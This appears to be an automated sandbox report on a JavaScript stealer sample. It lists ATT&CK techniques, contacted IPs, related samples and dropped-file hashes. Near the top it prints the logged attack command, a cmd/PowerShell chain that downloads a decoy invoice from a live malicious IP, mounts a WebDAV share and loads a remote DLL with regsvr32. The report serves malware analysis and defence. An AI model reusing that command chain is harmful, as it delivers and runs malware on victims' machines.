Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
9748121671124198.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer
9748121671124198.js	8%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/K	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/O	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.3015858538.0000026107211000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/K	net.exe, 00000006.00000002.1791928031.00000239190CC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1806900309.00000261071B2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/pace	net.exe, 00000006.00000002.1791928031.0000023919098000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1791928031.0000023919098000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1791928031.00000239190EC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1791928031.00000239190CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1806900309.00000261071B2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high
http://193.143.1.205:8888/O	net.exe, 00000006.00000002.1791928031.00000239190CC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588539
Start date and time:	2025-01-11 02:11:41 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	9748121671124198.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 2.16.168.105, 2.16.168.107, 172.64.41.3, 162.159.61.3, 3.219.243.226, 3.233.129.217, 52.22.41.97, 52.6.155.20, 23.209.209.135, 199.232.210.172, 2.23.242.162, 2.22.242.123, 2.22.242.11, 23.200.0.173, 23.200.0.196, 23.200.0.177, 4.175.87.197, 18.213.11.84, 23.217.172.185, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:12:40	API Interceptor	26x Sleep call for process: powershell.exe modified
20:12:44	API Interceptor	1x Sleep call for process: net.exe modified
20:12:45	API Interceptor	2x Sleep call for process: svchost.exe modified
20:12:53	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	193581927228935729.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	253742123626823892.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2254619394221055585.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1327128311804210730.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6515707756641447.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16433207582849010802.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2937924646314313784.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1709323591581122310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	36522792260104347.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31244102191071522677.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	253742123626823892.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2254619394221055585.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	6515707756641447.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2937924646314313784.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	31244102191071522677.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	3141714165326508962.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	15315323282846423758.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	525931685256721403.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	795324045931728678.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2314572873239327086.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3048426634198639173.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	193581927228935729.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1627923942308705884.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1183413479481820270.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19500684172643252.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	253742123626823892.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2254619394221055585.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1327128311804210730.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073460370406227
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrN:KooCEYhgYEL0In
MD5:	8659E142A8F5929FF942F03A68B2B1F9
SHA1:	FD3D5F62105867751758134BE2BEF87B6949D461
SHA-256:	E90CB5C83F9A2E0AFD9FB350D59BD9F0B30B245C206EE2C2976E9C1A08198CBD
SHA-512:	124089378F77DDBF333CFB9755EBEAB5ACC7B523BEB537D81BC93B8B9EE661A54292D9FF9328102C745D1DC7D6C97B82E9E9B99BD313657BC53C10F9BE504EDC
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x476c8d7a, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42210857801430707
Encrypted:	false
SSDEEP:	1536:5SB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:5aza/vMUM2Uvz7DO
MD5:	8747A90A3AB52E12A2E8DC5201D9C69C
SHA1:	50D3942DA76DE167C8F0A6C0E9D0AF593B0694C3
SHA-256:	4F061E8E341BB66D4954C7C8AAB614DDEC8EB3430B0C4F2972957C3E9A98E822
SHA-512:	7B2E00D3EFE6906FA8E526F1E7E7E99943049E4BE623A8DD7286396CFBE136DA12E2413BBC0EC35946586503D17AACA24262E863FAF7BC3A1BD76C527C713CC8
Malicious:	false
Preview:	Gl.z... .......A.......X\...;...{......................0.!..........{A......}y.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................4.d......}...........................}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07622930217252949
Encrypted:	false
SSDEEP:	3:vUYe8uelu5Cjn13a/VgSukFlltollcVO/lnlZMxZNQl:vUzslv53qSOGOewk
MD5:	E860D1D7239A3A7FE36B362683063184
SHA1:	A52275A08395A7FF78A30A254720EDE4B6A77AE5
SHA-256:	628894104A778ACE54AF0882E768D9CD8C4378A704638047E08FE303341FF4E5
SHA-512:	F6409032018FAC5013CD1C8CBF5794E7F090BACD5FC1DE21F959210F653AF6A54147D1ACBBFA49436711E06C9491C6E34BD05BD5331A497AC1CA6E159358CB7B
Malicious:	false
Preview:	*<K......................................;...{.......}.......{A..............{A......{A..........{A].........................}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.147131198016539
Encrypted:	false
SSDEEP:	6:iO4qVY+QqM+q2Pwkn2nKuAl9OmbnIFUtSqVYFZmwsqVY9MVkwOwkn2nKuAl9Omb5:7njQ3+vYfHAahFUtZG/LtV5JfHAaSJ
MD5:	439DD42EDBEC1D697EBFA7EA44AC0057
SHA1:	6AC2EBB1BBF09E2E929ABB7E69A1D1EB9DC8A6C2
SHA-256:	285171E3713CF6B5319F24EC29FF23B02215D95B0B18A90CDEBE5A9865468A22
SHA-512:	15C106A94962E21530ED3D395F8E90D1FF6CB5855F0B9F163875E090ED642F7A376B971934606F9654825808C649EE832D9A3547716B8EB67AFD8B8B62AE4EFD
Malicious:	false
Preview:	2025/01/10-20:12:46.046 1eac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:12:46.048 1eac Recovering log #3.2025/01/10-20:12:46.049 1eac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.147131198016539
Encrypted:	false
SSDEEP:	6:iO4qVY+QqM+q2Pwkn2nKuAl9OmbnIFUtSqVYFZmwsqVY9MVkwOwkn2nKuAl9Omb5:7njQ3+vYfHAahFUtZG/LtV5JfHAaSJ
MD5:	439DD42EDBEC1D697EBFA7EA44AC0057
SHA1:	6AC2EBB1BBF09E2E929ABB7E69A1D1EB9DC8A6C2
SHA-256:	285171E3713CF6B5319F24EC29FF23B02215D95B0B18A90CDEBE5A9865468A22
SHA-512:	15C106A94962E21530ED3D395F8E90D1FF6CB5855F0B9F163875E090ED642F7A376B971934606F9654825808C649EE832D9A3547716B8EB67AFD8B8B62AE4EFD
Malicious:	false
Preview:	2025/01/10-20:12:46.046 1eac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:12:46.048 1eac Recovering log #3.2025/01/10-20:12:46.049 1eac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1913907058373265
Encrypted:	false
SSDEEP:	6:iO4qVY6P+q2Pwkn2nKuAl9Ombzo2jMGIFUtSqVY6e4ZmwsqVY6GVkwOwkn2nKuAv:7ngvYfHAa8uFUtZb/LY5JfHAa8RJ
MD5:	25C74CA4114E8F8FB2A1B6A16CF7E00B
SHA1:	22F91E8B80539F304178F4BBC16167BC374ACA5B
SHA-256:	9C295384C9E71F6C08B943924A91E5078504B4D40DC438D6BF5A2A06451E6869
SHA-512:	86559BB9C90FDA0C50FC38A0DB76061884AA8DEB2983FAA3C1EAD95F6C5A35AD0C47D235AD2B0F7C35A93975AFC94FAC9BB07638DBF4B5C6E8BDB5493F5794A4
Malicious:	false
Preview:	2025/01/10-20:12:46.052 1f98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:12:46.054 1f98 Recovering log #3.2025/01/10-20:12:46.055 1f98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1913907058373265
Encrypted:	false
SSDEEP:	6:iO4qVY6P+q2Pwkn2nKuAl9Ombzo2jMGIFUtSqVY6e4ZmwsqVY6GVkwOwkn2nKuAv:7ngvYfHAa8uFUtZb/LY5JfHAa8RJ
MD5:	25C74CA4114E8F8FB2A1B6A16CF7E00B
SHA1:	22F91E8B80539F304178F4BBC16167BC374ACA5B
SHA-256:	9C295384C9E71F6C08B943924A91E5078504B4D40DC438D6BF5A2A06451E6869
SHA-512:	86559BB9C90FDA0C50FC38A0DB76061884AA8DEB2983FAA3C1EAD95F6C5A35AD0C47D235AD2B0F7C35A93975AFC94FAC9BB07638DBF4B5C6E8BDB5493F5794A4
Malicious:	false
Preview:	2025/01/10-20:12:46.052 1f98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:12:46.054 1f98 Recovering log #3.2025/01/10-20:12:46.055 1f98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.957950752632059
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqgEsBdOg2H2fcaq3QYiubInP7E4T3y:Y2sRds/pdMH2u3QYhbG7nby
MD5:	19BBBFE1E795582A5F7D98CBDD1B2CEA
SHA1:	9D87230C99311BBA20F0C2A5A12561215562B541
SHA-256:	DE475CB4FF07BD4FC7D7AF8964094392196DA146EFC84878342BA1D33DC88547
SHA-512:	3F9859A305E8D3E569DA2CB184479DC41B0F5C1EE6FCC204DDD0EA0D9D5057BEC6F3D517473E02C233B23C698B03D977D77AAE21DAC437B45280C84C7C5E0323
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381117976453385","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":141778},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f576a909-fefd-4072-9017-2d6eb3ee232e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.957950752632059
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqgEsBdOg2H2fcaq3QYiubInP7E4T3y:Y2sRds/pdMH2u3QYhbG7nby
MD5:	19BBBFE1E795582A5F7D98CBDD1B2CEA
SHA1:	9D87230C99311BBA20F0C2A5A12561215562B541
SHA-256:	DE475CB4FF07BD4FC7D7AF8964094392196DA146EFC84878342BA1D33DC88547
SHA-512:	3F9859A305E8D3E569DA2CB184479DC41B0F5C1EE6FCC204DDD0EA0D9D5057BEC6F3D517473E02C233B23C698B03D977D77AAE21DAC437B45280C84C7C5E0323
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381117976453385","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":141778},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.255040888849782
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7I0sRe:etJCV4FiN/jTN/2r8Mta02fEhgO73goP
MD5:	FB4BC32A58ADC2823E71B1789BB13B25
SHA1:	DF27DC38137AC2E3E64C9FA7E569DB7C142A29E0
SHA-256:	9D88A71DA25A0C3C06196009BD955B1DA5C0D13DCE95E16A8D609FF3FD3738A5
SHA-512:	4A224588E6F105DC7AA998E42CD4D65DDD8898C9B2EB6B5FC318A80A37BC51FD71ADD38DFC3A342C72197A4CF1B9E07C47BE1A6A89777477C9391280DDB610A4
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.2201683154539875
Encrypted:	false
SSDEEP:	6:iO4qVYW2+q2Pwkn2nKuAl9OmbzNMxIFUtSqVYw0JZmwsqVY2qVkwOwkn2nKuAl9c:7nDvYfHAa8jFUtZH0J/Lo5JfHAa84J
MD5:	8721B311B0CCCD0416215068D8EDFFD1
SHA1:	3F792D4F04D7C0A885F6987A9CC4FB2BD0ACB41A
SHA-256:	66EC585F92EB3C51320908D57CA0ABC54FFC65094C6D73C14CA7C110F1B8EDE7
SHA-512:	72BC7BF21C3A131DAB188787806806B9C0CDCBCDCE876498624CCFC4FD013EA5DE159A347A3A793C9D847F8D094C35168EB29C57E9CBA48FA34B0ADC15237074
Malicious:	false
Preview:	2025/01/10-20:12:46.394 1f98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:12:46.439 1f98 Recovering log #3.2025/01/10-20:12:46.451 1f98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.2201683154539875
Encrypted:	false
SSDEEP:	6:iO4qVYW2+q2Pwkn2nKuAl9OmbzNMxIFUtSqVYw0JZmwsqVY2qVkwOwkn2nKuAl9c:7nDvYfHAa8jFUtZH0J/Lo5JfHAa84J
MD5:	8721B311B0CCCD0416215068D8EDFFD1
SHA1:	3F792D4F04D7C0A885F6987A9CC4FB2BD0ACB41A
SHA-256:	66EC585F92EB3C51320908D57CA0ABC54FFC65094C6D73C14CA7C110F1B8EDE7
SHA-512:	72BC7BF21C3A131DAB188787806806B9C0CDCBCDCE876498624CCFC4FD013EA5DE159A347A3A793C9D847F8D094C35168EB29C57E9CBA48FA34B0ADC15237074
Malicious:	false
Preview:	2025/01/10-20:12:46.394 1f98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:12:46.439 1f98 Recovering log #3.2025/01/10-20:12:46.451 1f98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4448478858130365
Encrypted:	false
SSDEEP:	384:CeWci5tM9FRHiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:SM9FRss3OazzU89UTTgUL
MD5:	C7A0F8661AD578DC845B37CAAAAE3935
SHA1:	20C36E96A04A1932B7621438F620FA29C79EA2CC
SHA-256:	79E848309769B9CCC4DCE055B4CDEB25D349F93302D2CD3CD11CD563728EF1D3
SHA-512:	49A5CFA5D1281C2EF23E2D03807EE4EEC9B269BBD8BEE504F59D477C6463E74CC0A2C4CE7A7A83349079473C4E55EA8EFDFAF98DC241B56CF5DA769AE2A543DD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

